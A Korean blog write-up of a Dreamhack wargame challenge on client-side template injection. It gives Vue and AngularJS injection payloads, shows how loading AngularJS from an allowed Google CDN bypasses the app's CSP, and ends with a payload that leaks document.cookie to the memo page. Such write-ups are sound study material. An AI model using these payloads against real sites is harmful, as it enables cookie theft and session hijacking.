security/웹해킹

[Dreamhack Wargame] Client Side Template Injection

민사민서 2023. 7. 5. 17:55

Template Injection 공격 배경지식

1. Vue Template Injection

확인: {{ 2*2 }}

생성자를 이용한 스크립트 실행: {{ _Vue.h.constructor("alert(1)")() }}

 

2. AngularJS Template Injection

확인: {{ 7*7 }}

생성자를 이용한 스크립트 실행: {{ constructor.constructor("alert(1)")() }}

// xss 코드 전달 시 문자열 형태로 constructor에게 건네주어야 함

 

문제 분석

@app.after_request
def add_header(response):
    global nonce
    # CSP 적용
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

- CSP 적용되어있는데 srcipt-src 보면 'nonce', 'unsafe-eval', htps://ajax.googleapis.com 

- eval 함수 사용 가능하고, htps://ajax.googleapis.com에서 hosting한 script 파일 가져와 src로 첨부 가능하다

- bypass using 'self' 는 불가능

 

cf) ajax.googleapis.com = Google Hosted Libraries = Google이 제공하는 CDN(Content Delivery Network) 서비스

이 서비스를 통해 개발자들은 각종 JavaScript 라이브러리를 빠르게 로드할 수 있다

Google Hosted Libraries는 AngularJS, jQuery, React 등 다양한 라이브러리를 호스팅하고 있다

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param
    
@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)

 - vuln xss 취약점 존재

- memo에 플래그 출력하면 되겠다

 

시도 1) memo 페이지 공략

- memo_text에 template 문자열을 넣어서 template injection 취약점 있는지 확인해보았다

/memo?memo={{ 1*1 }}
/memo?memo={{ _Vue.h.constructor("alert(1)")() }}
/memo?memo={{ constructor.cunstructor("alert(1)")() }}
/memo?memo={{ config }}

=> /memo 엔드포인트에는 template injection 취약점이 존재하지 않더라 (input 그대로 출력)

 

시도 2) vuln 페이지 공략

- user input을 그대로 리턴하므로 AngularJS 템플릿 적용된 html 코드를 그대로 주면 되지 않을까?
- 구글에 google angular cdn 검색하면 url 획득 가능하다

<!doctype html>
<html ng-app>
    <head>
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js"></script>
    </head>
    <body>
        {{ constructor.constructor("location.href=`https://www.naver.com`")() }}
        <!-- {{ constructor.constructor("eval('location.href=`https://www.naver.com`')")() }} -->        
    </bod

- eval 사용해도 되고 안해도 되고


=> location.href='/memo?memo='+document.cookie로 바꾼 html 코드를 건네주면 성공!

 

간단하게 알아보는 angular 문법

<!DOCTYPE html>
<html>
<head>
    <!-- Angular JS -->
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js"></script>
    <title>Angular JS TEST</title>
</head>
<body>
    <div ng-app>
        Input : <input ng-model="name" placeholder="Enter your name"/>
        <p>The name is {{ name }}</p>
    </div>
</body>
</html>

* ng-app 지시어 = 여기서부터는(이미지에서는  body부분) angularJS를 사용하겠다는 의미의 지시어

(없으면 {{ }} 문법 해석 못함)

* template 문법 사용하기 전 <body> 태그나 <html> 태그에 추가해주어야 한다